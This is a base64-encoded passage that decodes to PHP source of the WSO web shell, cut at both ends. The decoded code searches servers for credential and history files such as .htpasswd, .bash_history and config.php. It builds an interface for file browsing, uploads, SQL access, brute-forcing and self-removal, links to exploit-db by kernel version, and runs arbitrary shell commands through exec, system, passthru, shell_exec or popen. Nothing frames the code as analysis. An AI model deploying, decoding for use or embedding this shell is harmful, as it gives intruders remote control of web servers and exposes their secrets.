bmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCgkJIkxvY2F0ZSIgPT4gIiIsCiAgCQkibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsCgkJImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHJvZnRwZC5jb25mIiwKCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwKCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsCgkJImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLAoJCSJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsCgkJImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLAoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwKCQkibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLAoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwKCQkibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNvbmYnIiwKCQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwKCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwKCQkibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsCgkJImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKCQkibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsCgkJImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwKCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsCgkJImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiCgkpOwoKZnVuY3Rpb24gd3NvSGVhZGVyKCkgewoJaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQoJCSRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOwoJZ2xvYmFsICRjb2xvcjsKCWVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPgo8c3R5bGU+CmJvZHl7YmFja2dyb3VuZC1jb2xvcjojNDQ0O2NvbG9yOiNlMWUxZTE7fQpib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KdGFibGUuaW5mb3sgY29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7IH0Kc3BhbixoMSxheyBjb2xvcjogJGNvbG9yICFpbXBvcnRhbnQ7IH0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQpoMXsgYm9yZGVyLWxlZnQ6NXB4IHNvbGlkICRjb2xvcjtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQpkaXYuY29udGVudHsgcGFkZGluZzogNXB4O21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMzMzM7IH0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQoubWwxeyBib3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjMwMHB4OyB9CmlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAkY29sb3I7IGZvbnQ6IDlwdCBNb25vc3BhY2UsJ0NvdXJpZXIgTmV3JzsgfQpmb3JteyBtYXJnaW46MHB4OyB9CiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KLnRvb2xzSW5weyB3aWR0aDogMzAwcHggfQoubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQoubDF7YmFja2dyb3VuZC1jb2xvcjojNDQ0fQoubDJ7YmFja2dyb3VuZC1jb2xvcjojMzMzfQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQo8L3N0eWxlPgo8c2NyaXB0PgogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsKICAgIHZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJwogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOwogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAyXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIGQgPSBkb2N1bWVudDsKCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgewoJCWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87CgkJaWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1jXzsKCQlpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87CgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOwoJCWlmKHAzIT1udWxsKWQubWYucDMudmFsdWU9cDM7ZWxzZSBkLm1mLnAzLnZhbHVlPXAzXzsKCQlpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOwoJfQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7CgkJZC5tZi5zdWJtaXQoKTsKCX0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwoJCXZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsKCQlmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCQlwYXJhbXMgKz0gJyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOwoJCXNyKCciIC4gYWRkc2xhc2hlcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOwoJfQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsKCQlpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KQoJCQlyZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkKCQkJcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoJ01pY3Jvc29mdC5YTUxIVFRQJyk7CiAgICAgICAgaWYgKHJlcSkgewogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKICAgICAgICAgICAgcmVxLm9wZW4oJ1BPU1QnLCB1cmwsIHRydWUpOwogICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsKICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsKICAgICAgICB9Cgl9CglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgewoJCWlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQoJCQlpZihyZXEuc3RhdHVzID09IDIwMCkgewoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOwoJCQkJdmFyIGFycj1yZWcuZXhlYyhyZXEucmVzcG9uc2VUZXh0KTsKCQkJCWV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOwoJfQo8L3NjcmlwdD4KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyc+Cjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pgo8L2Zvcm0+IjsKCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7Cgkka2VybmVsID0gQHBocF91bmFtZSgncycpOwoJJGV4cGxpbmsgPSAnaHR0cDovL2V4cGxvaXQtZGIuY29tL3NlYXJjaC8/YWN0aW9uPXNlYXJjaCZmaWx0ZXJfZGVzY3JpcHRpb249JzsKCWlmKHN0cnBvcygnTGludXgnLCAka2VybmVsKSAhPT0gZmFsc2UpCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpKTsKCWVsc2UKCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpKTsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKCQkkdWlkID0gQGdldG15dWlkKCk7CgkJJGdpZCA9IEBnZXRteWdpZCgpOwoJCSRncm91cCA9ICI/IjsKCX0gZWxzZSB7CgkJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOwoJCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCQkkdWlkID0gJHVpZFsndWlkJ107CgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJCSRnaWQgPSAkZ2lkWydnaWQnXTsKCX0KCgkkY3dkX2xpbmtzID0gJyc7CgkkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOwoJJG49Y291bnQoJHBhdGgpOwoJZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsKCQkkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykKCQkJJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwoJCSRjd2RfbGlua3MgLj0gIlwiKSc+Ii4kcGF0aFskaV0uIi88L2E+IjsKCX0KCgkkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKCSRvcHRfY2hhcnNldHMgPSAnJzsKCWZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQoJCSRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKCgkkbSA9IGFycmF5KCdTZWMuIEluZm8nPT4nU2VjSW5mbycsJ0ZpbGVzJz0+J0ZpbGVzTWFuJywnQ29uc29sZSc9PidDb25zb2xlJywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnKTsKCWlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKQoJCSRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOwoJJG1bJ1NlbGYgcmVtb3ZlJ10gPSAnU2VsZlJlbW92ZSc7CgkkbWVudSA9ICcnOwoJZm9yZWFjaCgkbSBhcyAkayA9PiAkdikKCQkkbWVudSAuPSAnPHRoIHdpZHRoPSInLihpbnQpKDEwMC9jb3VudCgkbSkpLiclIj5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPiBdPC90aD4nOwoKCSRkcml2ZXMgPSAiIjsKCWlmKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7CgkJZm9yZWFjaChyYW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpCgkJaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpCgkJCSRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsKCX0KCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicKICAgICAgIC4gJzx0ZD48bm9icj4nIC4gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKSAuICcgPGEgaHJlZj0iJyAuICRleHBsaW5rIC4gJyIgdGFyZ2V0PV9ibGFuaz5bZXhwbG9pdC1kYi5jb21dPC9hPjwvbm9icj48YnI+JyAuICR1aWQgLiAnICggJyAuICR1c2VyIC4gJyApIDxzcGFuPkdyb3VwOjwvc3Bhbj4gJyAuICRnaWQgLiAnICggJyAuICRncm91cCAuICcgKTxicj4nIC4gQHBocHZlcnNpb24oKSAuICcgPHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gJyAuICgkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj1ncmVlbj48Yj5PRkY8L2I+PC9mb250PicpCiAgICAgICAuICcgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLFwnXCcsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT4gPHNwYW4+RGF0ZXRpbWU6PC9zcGFuPiAnIC4gZGF0ZSgnWS1tLWQgSDppOnMnKSAuICc8YnI+JyAuIHdzb1ZpZXdTaXplKCR0b3RhbFNwYWNlKSAuICcgPHNwYW4+RnJlZTo8L3NwYW4+ICcgLiB3c29WaWV3U2l6ZSgkZnJlZVNwYWNlKSAuICcgKCcuIChpbnQpICgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkgLiAnJSk8YnI+JyAuICRjd2RfbGlua3MgLiAnICcuIHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJyAuICRHTE9CQUxTWydob21lX2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+PGJyPicgLiAkZHJpdmVzIC4gJzwvdGQ+JwogICAgICAgLiAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nIC4gJG9wdF9jaGFyc2V0cyAuICc8L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFuPjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicKICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4nOwp9CgpmdW5jdGlvbiB3c29Gb290ZXIoKSB7CgkkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyIgPGZvbnQgY29sb3I9J2dyZWVuJz4oV3JpdGVhYmxlKTwvZm9udD4iOiIgPGZvbnQgY29sb3I9cmVkPihOb3Qgd3JpdGFibGUpPC9mb250PiI7CiAgICBlY2hvICIKPC9kaXY+Cjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+Cgk8dHI+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+CgkJPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48YnIgID48L3RkPgoJPC90cj48L3RhYmxlPjwvZGl2PjwvYm9keT48L2h0bWw+IjsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsKICAgIGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgewogICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9CgpmdW5jdGlvbiB3c29FeCgkaW4pIHsKCSRvdXQgPSAnJzsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCUBleGVjKCRpbiwkb3V0KTsKCQkkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKCQlvYl9zdGFydCgpOwoJCUBwYXNzdGhydSgkaW4pOwoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJb2Jfc3RhcnQoKTsKCQlAc3lzdGVtKCRpbik7CgkJJG91dCA9IG9iX2dldF9jbGVhbigpOwoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsKCX0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKCQkkb3V0ID0gIiI7CgkJd2hpbGUoIUBmZW9mKCRmKSkKCQkJJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKCQlwY2xvc2UoJGYpOwoJfQoJcmV0dXJuICRvdXQ7Cn0KCmZ1bmN0aW9uIHdzb1ZpZXdTaXplKCRzKSB7CiAgICBpZiAoaXNfaW50KCRzKSkKICAgICAgICAkcyA9IHNwcmludGYoIiV1IiwgJHMpOwogICAgCglpZigkcyA+PSAxMDczNzQxODI0KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsKCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7CgllbHNlaWYoJHMgPj0gMTAyNCkKCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOwoJZWxzZQoJCXJldHVybiAkcyAuICcgQic7Cn0KCmZ1bmN0aW9uIHdzb1Blcm1zKCRwKSB7CglpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7CgllbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOwoJZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKCWVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7CgllbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOwoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7CgllbHNlICRpID0gJ3UnOwoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmI